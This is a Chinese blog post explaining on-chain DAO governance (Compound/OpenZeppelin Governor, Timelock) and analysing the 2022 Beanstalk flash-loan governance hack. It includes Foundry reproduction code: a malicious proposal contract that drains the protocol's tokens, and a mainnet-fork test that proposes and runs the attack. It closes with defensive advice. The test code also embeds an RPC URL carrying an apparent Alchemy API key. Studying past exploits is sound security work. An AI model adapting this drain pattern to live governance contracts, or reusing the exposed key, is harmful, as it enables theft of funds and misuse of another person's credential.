从Benstalks攻击事件浅谈治理合约的安全问题


介绍

Governance 顾名思义,即为治理。区块链的出现,让去中心化的治理成为一个新的方向,即我们所说的DAO(Decentralized Autonomous Organization)。

链上治理可以让社区的成员参与到治理中来,让社区的成员更加的自治,更加的去中心化。提案的种类也有很多,比如参数修改、合约升级、资源管理等。

这一讲我们将首先分析链上治理的过程,让大家了解治理的过程,然后通过一道赛题来了解到链上治理可能面临的风险漏洞。

Compound Governance protocol

作为经典的治理协议,openzeppelin的治理沿用了Compound的治理协议,具体文档为:https://docs.openzeppelin.com/contracts/4.x/api/governance

在这里我们简要介绍一下协议。

ERC20Votes

ERC20Votes 是 ERC20 token的一个拓展,ERC20Votes token 即代表了投票权,其最大特点就是维护了一个checkpoint数组,记录了用户余额快照,这允许将投票权映射到过去余额的快照而不是当前余额,这有助于防止知道有重要提案即将出现并试图通过购买更多代币然后抛售它们来增加他们的投票权的成员投票。

同时还拥有delegate()委托函数:传入delegatee参数,将自己的投票权委托给delegatee

Governor

治理者合约决定了法定人数所需的投票数量的百分比(例如,如果法定人数是4%,那么只有4%的选民需要投票支持提案通过),投票期限,即投票持续多长时间,投票延迟,即提案创建后多长时间允许成员更改他们拥有的代币数量。治理合约还提供创建提案、投票和执行提案的功能。

而一个提案的生命周期,可以用下图表示。

这里介绍几个关键函数

  • propose() 提案函数:满足代币持有量的可以提案,须传入address, value, signature, calldata等参数

  • castVote() 投票函数:传入proposalId, support参数,含有for, against, abstain三种选择

  • queue() 队列函数:提案成功后,任何人可以调用,传入proposalId参数,将提案加入队列

  • execute() 执行函数:当时间满足要求后,任何人都可以调用,传入proposalId参数,将提案从队列中取出执行

Timelock

  • delay(延时):一个提案被接受后,需要等待多少天之后才能被执行。这个时间可以由治理合约改变为2至30天之间。目前设置为2天。
  • 提案执行期限(grace period):在延时到达时间之后,如果超过了grace period期,那么提案将不能再执行,被设置为14天。

安全

去中心化的治理在带来民主的同时,由于提案投票权利的分散,也带来了安全性的问题。因此,治理协议的安全性是一个非常重要的问题。

想象一下,如果黑客可以通过恶意提案、大量投票从而达到控制项目、转移资产,后果是不堪设想的。

在我之前的写过的AAADAO的wp中,就是一个典型的治理合约闪电贷攻击,感兴趣的朋友可以看看。

真实案例

The Beanstalk Hack

2022年4月,Beanstalk被治理攻击,损失了181w$。并且,黑客捐赠了25万给了乌克兰战争基金地址。

起因是治理协议中含有emergencyCommit紧急执行函数,周期为一天,当有2/3的赞成票时即可立即执行,如下图。

image

首先,黑客进行了恶意提案,提案内容为偷走合约中所有的钱,下图标出了恶意提案地址和提案执行签名。

image

而再在治理协议中,投票权重由向Beanstalk协议的Diamond contract的捐赠决定。于是在一天之后,黑客发起了攻击。
黑客的主要攻击流程为:

  • 通过闪电贷获得DAI,USDT,USDC
  • 再次通过uniswap,sushiswap 闪电贷得到BEAN 和 LUSD
  • 使用DAI,USDT,USDC换取 3CRV
  • 再将3CRV,LUSD,BEAN换取BEAN3CRV-f,BEANLUSD-f
  • 将BEAN3CRV-f,BEANLUSD-f存入Diamond 中
  • 对BIP18恶意提案进行投票
  • 执行恶意提案,将BEAN3CRV-f,BEANLUSD-f,uni-v2发送给黑客合约
  • 通过兑换将BEAN3CRV-f,BEANLUSD-f换取USDT,USDC,DAI
  • burn uni-v2换取ETH和BEAN
  • 偿还闪电贷,再将多余的代币换为ETH,黑客获利
  • 黑客还发送了25000USDT给了乌克兰战争基金地址

复现

恶意提案

// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import {IERC20} from "../interfaces/IERC20.sol";

contract BIP18 is Test {
    address constant BEAN = address(0xDC59ac4FeFa32293A95889Dc396682858d52e5Db);
    address constant BEAN_STALK = address(0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5);
    address constant BEANCRV_F =
        address(0x3a70DfA7d2262988064A2D051dd47521E43c9BdD);
    address constant BEANLUSD_F =
        address(0xD652c40fBb3f06d6B58Cb9aa9CFF063eE63d465D);
    address constant PROPOSER =
        address(0x1c5dCdd006EA78a7E4783f9e6021C32935a10fb4);
    address constant UNI_V2_BEAN_LP =
        address(0x87898263B6C5BABe34b4ec53F22d98430b91e371);
    address immutable EXPLOIT_CONTRACT;

    constructor(address _exploitAddr) {
        EXPLOIT_CONTRACT = _exploitAddr;
    }

    function init() external {
        console.log("exploit contract address: ", EXPLOIT_CONTRACT);
        IERC20(BEAN).transfer(EXPLOIT_CONTRACT, IERC20(BEAN).balanceOf(BEAN_STALK));
        IERC20(UNI_V2_BEAN_LP).transfer(EXPLOIT_CONTRACT, IERC20(UNI_V2_BEAN_LP).balanceOf(BEAN_STALK));
        IERC20(BEANCRV_F).transfer(EXPLOIT_CONTRACT, IERC20(BEANCRV_F).balanceOf(BEAN_STALK));
        IERC20(BEANLUSD_F).transfer(EXPLOIT_CONTRACT, IERC20(BEANLUSD_F).balanceOf(BEAN_STALK));
        // 偷走所有tokens & LP tokens
    }
}

恶意提案执行

pragma solidity 0.8.10;

import "../src/BIP18.sol";
import "../src/attack.sol";
import "forge-std/Test.sol";
import "../interfaces/IUniswapV2Router.sol";

contract BeanExp is Test{
    IBeanStalk constant BEAN_STALK = IBeanStalk(0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5);
    address constant BEAN = address(0xDC59ac4FeFa32293A95889Dc396682858d52e5Db);
    IUniswapV2Router constant uniswapv2 = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
    string  url = "https://eth-mainnet.g.alchemy.com/v2/qb4zUY4FDtmZMhaAEHblyllY9gc1nj2S";
    uint256 forkId;
    BIP18 bip18;
    BeanExploit beanexp;
    function setUp() external {
        // 恶意提案高度  14595906 
        // 攻击开始高度  14602789
        forkId = vm.createFork(url, 14595905);
        vm.selectFork(forkId);
        }

    function testexp() public{
        address[] memory path = new address[](2);
        path[0] = uniswapv2.WETH();
        path[1] = BEAN;
        uniswapv2.swapExactETHForTokens{value: 75 ether}(
            0,
            path,
            address(this),
            block.timestamp + 120
        );
        console.log(
            "swap ETH -> BEAN , Bean balance of attacker:",
            IERC20(BEAN).balanceOf(address(this))/10**6
        );
        
        IERC20(BEAN).approve(address(BEAN_STALK), type(uint256).max);
        BEAN_STALK.depositBeans(IERC20(BEAN).balanceOf(address(this)));
        beanexp = new BeanExploit();
        bip18 = new BIP18(address(beanexp));
        IDiamondCut.FacetCut[] memory _cut = new IDiamondCut.FacetCut[](0);
        BEAN_STALK.propose(_cut, address(bip18), abi.encodeWithSignature("init()"), 3);
        console.log("Successfully proposed: ", address(bip18));

        vm.warp(block.timestamp + 1 days);
        beanexp.exploit();
    }
    
}

这里使用了forge的warp cheatcode,可以将timpstamp设置到一天之后,模拟真实场景。

Expolit合约的代码就是一些闪电贷的Callback,投票并且执行提案,最后将一些token swap回ETH,这里不再赘述。

总结

Defi治理实现了”区块链民主”,但是在带来民主的同时也带来了风险。对于治理合约管理者,要再三警惕恶意提案。同时,延迟执行链上治理也是防止恶意提案的一种方法,来保证组织资金的安全。这里我们给出几点建议。

(1)将投票和执行分离,保证投票和执行不在同一个区块时间,即不能在同一笔交易内同时完成投票和执行,这样也可以避免闪电贷带来的风险。

(2)增加权限,禁止合约投票,只能够通过EOA账户来投票,这样就可以规避闪电贷带来的影响。

(3)项目方以及社区成员应高度关注所有提案,对于有风险的提案,
应及时做出反应以及通知,尽可能的杜绝恶意提案的执行。

(4)在项目上线运行前,可以进行多次全面的合约审计,尽可能的保证合约的安全性。


文章作者: Latt1ce
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Latt1ce !
  目录